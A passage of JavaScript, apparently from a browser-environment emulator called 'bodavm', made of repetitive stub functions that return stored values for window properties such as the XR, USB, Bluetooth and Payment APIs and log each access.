bodavm.memory.globalobj['unmonitor']; console.log_copy(`window_unmonitor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_monitor = function () { let arg = bodavm.memory.globalobj['monitor']; console.log_copy(`window_monitor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_undebug = function () { let arg = bodavm.memory.globalobj['undebug']; console.log_copy(`window_undebug`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_debug = function () { let arg = bodavm.memory.globalobj['debug']; console.log_copy(`window_debug`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_values = function () { let arg = bodavm.memory.globalobj['values']; console.log_copy(`window_values`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_keys = function () { let arg = bodavm.memory.globalobj['keys']; console.log_copy(`window_keys`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_table = function () { let arg = bodavm.memory.globalobj['table']; console.log_copy(`window_table`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clear = function () { let arg = bodavm.memory.globalobj['clear']; console.log_copy(`window_clear`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_profileEnd = function () { let arg = bodavm.memory.globalobj['profileEnd']; console.log_copy(`window_profileEnd`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_profile = function () { let arg = bodavm.memory.globalobj['profile']; console.log_copy(`window_profile`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_dirxml = function () { let arg = bodavm.memory.globalobj['dirxml']; console.log_copy(`window_dirxml`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_dir = function () { let arg = bodavm.memory.globalobj['dir']; console.log_copy(`window_dir`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitResolveLocalFileSystemURL = function () { let arg = bodavm.memory.globalobj['webkitResolveLocalFileSystemURL']; console.log_copy(`window_webkitResolveLocalFileSystemURL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognitionEvent = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionEvent']; console.log_copy(`window_webkitSpeechRecognitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognitionError = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionError']; console.log_copy(`window_webkitSpeechRecognitionError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognition = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognition']; console.log_copy(`window_webkitSpeechRecognition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechGrammarList = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammarList']; console.log_copy(`window_webkitSpeechGrammarList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechGrammar = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammar']; console.log_copy(`window_webkitSpeechGrammar`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XSLTProcessor = function () { let arg = bodavm.memory.globalobj['XSLTProcessor']; console.log_copy(`window_XSLTProcessor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VirtualKeyboardGeometryChangeEvent = function () { let arg = bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent']; console.log_copy(`window_VirtualKeyboardGeometryChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoPlaybackQuality = function () { let arg = bodavm.memory.globalobj['VideoPlaybackQuality']; console.log_copy(`window_VideoPlaybackQuality`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URLPattern = function () { let arg = bodavm.memory.globalobj['URLPattern']; console.log_copy(`window_URLPattern`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedTypePolicy = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicy']; console.log_copy(`window_TrustedTypePolicy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedScriptURL = function () { let arg = bodavm.memory.globalobj['TrustedScriptURL']; console.log_copy(`window_TrustedScriptURL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedScript = function () { let arg = bodavm.memory.globalobj['TrustedScript']; console.log_copy(`window_TrustedScript`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedHTML = function () { let arg = bodavm.memory.globalobj['TrustedHTML']; console.log_copy(`window_TrustedHTML`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisUtterance = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisUtterance']; console.log_copy(`window_SpeechSynthesisUtterance`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisEvent']; console.log_copy(`window_SpeechSynthesisEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisErrorEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisErrorEvent']; console.log_copy(`window_SpeechSynthesisErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SharedWorker = function () { let arg = bodavm.memory.globalobj['SharedWorker']; console.log_copy(`window_SharedWorker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskSignal = function () { let arg = bodavm.memory.globalobj['TaskSignal']; console.log_copy(`window_TaskSignal`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskPriorityChangeEvent = function () { let arg = bodavm.memory.globalobj['TaskPriorityChangeEvent']; console.log_copy(`window_TaskPriorityChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskController = function () { let arg = bodavm.memory.globalobj['TaskController']; console.log_copy(`window_TaskController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Scheduler = function () { let arg = bodavm.memory.globalobj['Scheduler']; console.log_copy(`window_Scheduler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RemotePlayback = function () { let arg = bodavm.memory.globalobj['RemotePlayback']; console.log_copy(`window_RemotePlayback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushSubscriptionOptions = function () { let arg = bodavm.memory.globalobj['PushSubscriptionOptions']; console.log_copy(`window_PushSubscriptionOptions`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushSubscription = function () { let arg = bodavm.memory.globalobj['PushSubscription']; console.log_copy(`window_PushSubscription`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushManager = function () { let arg = bodavm.memory.globalobj['PushManager']; console.log_copy(`window_PushManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PictureInPictureWindow = function () { let arg = bodavm.memory.globalobj['PictureInPictureWindow']; console.log_copy(`window_PictureInPictureWindow`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PictureInPictureEvent = function () { let arg = bodavm.memory.globalobj['PictureInPictureEvent']; console.log_copy(`window_PictureInPictureEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Permissions = function () { let arg = bodavm.memory.globalobj['Permissions']; console.log_copy(`window_Permissions`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PermissionStatus = function () { let arg = bodavm.memory.globalobj['PermissionStatus']; console.log_copy(`window_PermissionStatus`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PeriodicSyncManager = function () { let arg = bodavm.memory.globalobj['PeriodicSyncManager']; console.log_copy(`window_PeriodicSyncManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentRequestUpdateEvent = function () { let arg = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; console.log_copy(`window_PaymentRequestUpdateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentManager = function () { let arg = bodavm.memory.globalobj['PaymentManager']; console.log_copy(`window_PaymentManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentInstruments = function () { let arg = bodavm.memory.globalobj['PaymentInstruments']; console.log_copy(`window_PaymentInstruments`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Notification = function () { let arg = bodavm.memory.globalobj['Notification']; console.log_copy(`window_Notification`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigatorUAData = function () { let arg = bodavm.memory.globalobj['NavigatorUAData']; console.log_copy(`window_NavigatorUAData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationTransition = function () { let arg = bodavm.memory.globalobj['NavigationTransition']; console.log_copy(`window_NavigationTransition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationHistoryEntry = function () { let arg = bodavm.memory.globalobj['NavigationHistoryEntry']; console.log_copy(`window_NavigationHistoryEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationDestination = function () { let arg = bodavm.memory.globalobj['NavigationDestination']; console.log_copy(`window_NavigationDestination`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationCurrentEntryChangeEvent = function () { let arg = bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent']; console.log_copy(`window_NavigationCurrentEntryChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigateEvent = function () { let arg = bodavm.memory.globalobj['NavigateEvent']; console.log_copy(`window_NavigateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrack = function () { let arg = bodavm.memory.globalobj['MediaStreamTrack']; console.log_copy(`window_MediaStreamTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SourceBufferList = function () { let arg = bodavm.memory.globalobj['SourceBufferList']; console.log_copy(`window_SourceBufferList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SourceBuffer = function () { let arg = bodavm.memory.globalobj['SourceBuffer']; console.log_copy(`window_SourceBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaSource = function () { let arg = bodavm.memory.globalobj['MediaSource']; console.log_copy(`window_MediaSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaSession = function () { let arg = bodavm.memory.globalobj['MediaSession']; console.log_copy(`window_MediaSession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaMetadata = function () { let arg = bodavm.memory.globalobj['MediaMetadata']; console.log_copy(`window_MediaMetadata`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Ink = function () { let arg = bodavm.memory.globalobj['Ink']; console.log_copy(`window_Ink`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DelegatedInkTrailPresenter = function () { let arg = bodavm.memory.globalobj['DelegatedInkTrailPresenter']; console.log_copy(`window_DelegatedInkTrailPresenter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CustomStateSet = function () { let arg = bodavm.memory.globalobj['CustomStateSet']; console.log_copy(`window_CustomStateSet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CaptureHandleChangeEvent = function () { let arg = bodavm.memory.globalobj['CaptureHandleChangeEvent']; console.log_copy(`window_CaptureHandleChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSFontPaletteValuesRule = function () { let arg = bodavm.memory.globalobj['CSSFontPaletteValuesRule']; console.log_copy(`window_CSSFontPaletteValuesRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothUUID = function () { let arg = bodavm.memory.globalobj['BluetoothUUID']; console.log_copy(`window_BluetoothUUID`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchRegistration = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRegistration']; console.log_copy(`window_BackgroundFetchRegistration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchRecord = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRecord']; console.log_copy(`window_BackgroundFetchRecord`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchManager = function () { let arg = bodavm.memory.globalobj['BackgroundFetchManager']; console.log_copy(`window_BackgroundFetchManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentTimeline = function () { let arg = bodavm.memory.globalobj['DocumentTimeline']; console.log_copy(`window_DocumentTimeline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransition = function () { let arg = bodavm.memory.globalobj['CSSTransition']; console.log_copy(`window_CSSTransition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSAnimation = function () { let arg = bodavm.memory.globalobj['CSSAnimation']; console.log_copy(`window_CSSAnimation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationTimeline = function () { let arg = bodavm.memory.globalobj['AnimationTimeline']; console.log_copy(`window_AnimationTimeline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationPlaybackEvent = function () { let arg = bodavm.memory.globalobj['AnimationPlaybackEvent']; console.log_copy(`window_AnimationPlaybackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showSaveFilePicker = function () { let arg = bodavm.memory.globalobj['showSaveFilePicker']; console.log_copy(`window_showSaveFilePicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showOpenFilePicker = function () { let arg = bodavm.memory.globalobj['showOpenFilePicker']; console.log_copy(`window_showOpenFilePicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showDirectoryPicker = function () { let arg = bodavm.memory.globalobj['showDirectoryPicker']; console.log_copy(`window_showDirectoryPicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getScreenDetails = function () { let arg = bodavm.memory.globalobj['getScreenDetails']; console.log_copy(`window_getScreenDetails`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLightProbe = function () { let arg = bodavm.memory.globalobj['XRLightProbe']; console.log_copy(`window_XRLightProbe`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLightEstimate = function () { let arg = bodavm.memory.globalobj['XRLightEstimate']; console.log_copy(`window_XRLightEstimate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRTransientInputHitTestSource = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestSource']; console.log_copy(`window_XRTransientInputHitTestSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRTransientInputHitTestResult = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestResult']; console.log_copy(`window_XRTransientInputHitTestResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRay = function () { let arg = bodavm.memory.globalobj['XRRay']; console.log_copy(`window_XRRay`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRHitTestSource = function () { let arg = bodavm.memory.globalobj['XRHitTestSource']; console.log_copy(`window_XRHitTestSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRHitTestResult = function () { let arg = bodavm.memory.globalobj['XRHitTestResult']; console.log_copy(`window_XRHitTestResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLDepthInformation = function () { let arg = bodavm.memory.globalobj['XRWebGLDepthInformation']; console.log_copy(`window_XRWebGLDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRDepthInformation = function () { let arg = bodavm.memory.globalobj['XRDepthInformation']; console.log_copy(`window_XRDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRCPUDepthInformation = function () { let arg = bodavm.memory.globalobj['XRCPUDepthInformation']; console.log_copy(`window_XRCPUDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLLayer = function () { let arg = bodavm.memory.globalobj['XRWebGLLayer']; console.log_copy(`window_XRWebGLLayer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRViewport = function () { let arg = bodavm.memory.globalobj['XRViewport']; console.log_copy(`window_XRViewport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRViewerPose = function () { let arg = bodavm.memory.globalobj['XRViewerPose']; console.log_copy(`window_XRViewerPose`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRView = function () { let arg = bodavm.memory.globalobj['XRView']; console.log_copy(`window_XRView`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSystem = function () { let arg = bodavm.memory.globalobj['XRSystem']; console.log_copy(`window_XRSystem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSpace = function () { let arg = bodavm.memory.globalobj['XRSpace']; console.log_copy(`window_XRSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSessionEvent = function () { let arg = bodavm.memory.globalobj['XRSessionEvent']; console.log_copy(`window_XRSessionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSession = function () { let arg = bodavm.memory.globalobj['XRSession']; console.log_copy(`window_XRSession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRigidTransform = function () { let arg = bodavm.memory.globalobj['XRRigidTransform']; console.log_copy(`window_XRRigidTransform`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRenderState = function () { let arg = bodavm.memory.globalobj['XRRenderState']; console.log_copy(`window_XRRenderState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRReferenceSpaceEvent = function () { let arg = bodavm.memory.globalobj['XRReferenceSpaceEvent']; console.log_copy(`window_XRReferenceSpaceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRReferenceSpace']; console.log_copy(`window_XRReferenceSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRPose = function () { let arg = bodavm.memory.globalobj['XRPose']; console.log_copy(`window_XRPose`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourcesChangeEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourcesChangeEvent']; console.log_copy(`window_XRInputSourcesChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourceEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourceEvent']; console.log_copy(`window_XRInputSourceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourceArray = function () { let arg = bodavm.memory.globalobj['XRInputSourceArray']; console.log_copy(`window_XRInputSourceArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSource = function () { let arg = bodavm.memory.globalobj['XRInputSource']; console.log_copy(`window_XRInputSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRFrame = function () { let arg = bodavm.memory.globalobj['XRFrame']; console.log_copy(`window_XRFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRBoundedReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRBoundedReferenceSpace']; console.log_copy(`window_XRBoundedReferenceSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRAnchorSet = function () { let arg = bodavm.memory.globalobj['XRAnchorSet']; console.log_copy(`window_XRAnchorSet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRAnchor = function () { let arg = bodavm.memory.globalobj['XRAnchor']; console.log_copy(`window_XRAnchor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportError = function () { let arg = bodavm.memory.globalobj['WebTransportError']; console.log_copy(`window_WebTransportError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportDatagramDuplexStream = function () { let arg = bodavm.memory.globalobj['WebTransportDatagramDuplexStream']; console.log_copy(`window_WebTransportDatagramDuplexStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportBidirectionalStream = function () { let arg = bodavm.memory.globalobj['WebTransportBidirectionalStream']; console.log_copy(`window_WebTransportBidirectionalStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransport = function () { let arg = bodavm.memory.globalobj['WebTransport']; console.log_copy(`window_WebTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WakeLockSentinel = function () { let arg = bodavm.memory.globalobj['WakeLockSentinel']; console.log_copy(`window_WakeLockSentinel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WakeLock = function () { let arg = bodavm.memory.globalobj['WakeLock']; console.log_copy(`window_WakeLock`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VirtualKeyboard = function () { let arg = bodavm.memory.globalobj['VirtualKeyboard']; console.log_copy(`window_VirtualKeyboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBOutTransferResult']; console.log_copy(`window_USBOutTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferResult']; console.log_copy(`window_USBIsochronousOutTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousOutTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferPacket']; console.log_copy(`window_USBIsochronousOutTransferPacket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousInTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferResult']; console.log_copy(`window_USBIsochronousInTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousInTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferPacket']; console.log_copy(`window_USBIsochronousInTransferPacket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBInterface = function () { let arg = bodavm.memory.globalobj['USBInterface']; console.log_copy(`window_USBInterface`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBInTransferResult = function () { let arg = bodavm.memory.globalobj['USBInTransferResult']; console.log_copy(`window_USBInTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBEndpoint = function () { let arg = bodavm.memory.globalobj['USBEndpoint']; console.log_copy(`window_USBEndpoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBDevice = function () { let arg = bodavm.memory.globalobj['USBDevice']; console.log_copy(`window_USBDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBConnectionEvent = function () { let arg = bodavm.memory.globalobj['USBConnectionEvent']; console.log_copy(`window_USBConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBConfiguration = function () { let arg = bodavm.memory.globalobj['USBConfiguration']; console.log_copy(`window_USBConfiguration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBAlternateInterface = function () { let arg = bodavm.memory.globalobj['USBAlternateInterface']; console.log_copy(`window_USBAlternateInterface`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USB = function () { let arg = bodavm.memory.globalobj['USB']; console.log_copy(`window_USB`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SerialPort = function () { let arg = bodavm.memory.globalobj['SerialPort']; console.log_copy(`window_SerialPort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Serial = function () { let arg = bodavm.memory.globalobj['Serial']; console.log_copy(`window_Serial`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenDetails = function () { let arg = bodavm.memory.globalobj['ScreenDetails']; console.log_copy(`window_ScreenDetails`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenDetailed = function () { let arg = bodavm.memory.globalobj['ScreenDetailed']; console.log_copy(`window_ScreenDetailed`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Scheduling = function () { let arg = bodavm.memory.globalobj['Scheduling']; console.log_copy(`window_Scheduling`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Profiler = function () { let arg = bodavm.memory.globalobj['Profiler']; console.log_copy(`window_Profiler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationRequest = function () { let arg = bodavm.memory.globalobj['PresentationRequest']; console.log_copy(`window_PresentationRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationReceiver = function () { let arg = bodavm.memory.globalobj['PresentationReceiver']; console.log_copy(`window_PresentationReceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionList = function () { let arg = bodavm.memory.globalobj['PresentationConnectionList']; console.log_copy(`window_PresentationConnectionList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionCloseEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionCloseEvent']; console.log_copy(`window_PresentationConnectionCloseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionAvailableEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionAvailableEvent']; console.log_copy(`window_PresentationConnectionAvailableEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnection = function () { let arg = bodavm.memory.globalobj['PresentationConnection']; console.log_copy(`window_PresentationConnection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationAvailability = function () { let arg = bodavm.memory.globalobj['PresentationAvailability']; console.log_copy(`window_PresentationAvailability`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Presentation = function () { let arg = bodavm.memory.globalobj['Presentation']; console.log_copy(`window_Presentation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentMethodChangeEvent = function () { let arg = bodavm.memory.globalobj['PaymentMethodChangeEvent']; console.log_copy(`window_PaymentMethodChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentResponse = function () { let arg = bodavm.memory.globalobj['PaymentResponse']; console.log_copy(`window_PaymentResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentRequest = function () { let arg = bodavm.memory.globalobj['PaymentRequest']; console.log_copy(`window_PaymentRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentAddress = function () { let arg = bodavm.memory.globalobj['PaymentAddress']; console.log_copy(`window_PaymentAddress`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OTPCredential = function () { let arg = bodavm.memory.globalobj['OTPCredential']; console.log_copy(`window_OTPCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackProcessor = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackProcessor']; console.log_copy(`window_MediaStreamTrackProcessor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackGenerator = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackGenerator']; console.log_copy(`window_MediaStreamTrackGenerator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IdleDetector = function () { let arg = bodavm.memory.globalobj['IdleDetector']; console.log_copy(`window_IdleDetector`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDInputReportEvent = function () { let arg = bodavm.memory.globalobj['HIDInputReportEvent']; console.log_copy(`window_HIDInputReportEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDDevice = function () { let arg = bodavm.memory.globalobj['HIDDevice']; console.log_copy(`window_HIDDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDConnectionEvent = function () { let arg = bodavm.memory.globalobj['HIDConnectionEvent']; console.log_copy(`window_HIDConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HID = function () { let arg = bodavm.memory.globalobj['HID']; console.log_copy(`window_HID`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GravitySensor = function () { let arg = bodavm.memory.globalobj['GravitySensor']; console.log_copy(`window_GravitySensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FragmentDirective = function () { let arg = bodavm.memory.globalobj['FragmentDirective']; console.log_copy(`window_FragmentDirective`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemWritableFileStream = function () { let arg = bodavm.memory.globalobj['FileSystemWritableFileStream']; console.log_copy(`window_FileSystemWritableFileStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemHandle = function () { let arg = bodavm.memory.globalobj['FileSystemHandle']; console.log_copy(`window_FileSystemHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemFileHandle = function () { let arg = bodavm.memory.globalobj['FileSystemFileHandle']; console.log_copy(`window_FileSystemFileHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemDirectoryHandle = function () { let arg = bodavm.memory.globalobj['FileSystemDirectoryHandle']; console.log_copy(`window_FileSystemDirectoryHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EyeDropper = function () { let arg = bodavm.memory.globalobj['EyeDropper']; console.log_copy(`window_EyeDropper`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTService = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTService']; console.log_copy(`window_BluetoothRemoteGATTService`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTServer = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTServer']; console.log_copy(`window_BluetoothRemoteGATTServer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTDescriptor = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor']; console.log_copy(`window_BluetoothRemoteGATTDescriptor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTCharacteristic = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic']; console.log_copy(`window_BluetoothRemoteGATTCharacteristic`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothDevice = function () { let arg = bodavm.memory.globalobj['BluetoothDevice']; console.log_copy(`window_BluetoothDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothCharacteristicProperties = function () { let arg = bodavm.memory.globalobj['BluetoothCharacteristicProperties']; console.log_copy(`window_BluetoothCharacteristicProperties`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Bluetooth = function () { let arg = bodavm.memory.globalobj['Bluetooth']; console.log_copy(`window_Bluetooth`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PublicKeyCredential = function () { let arg = 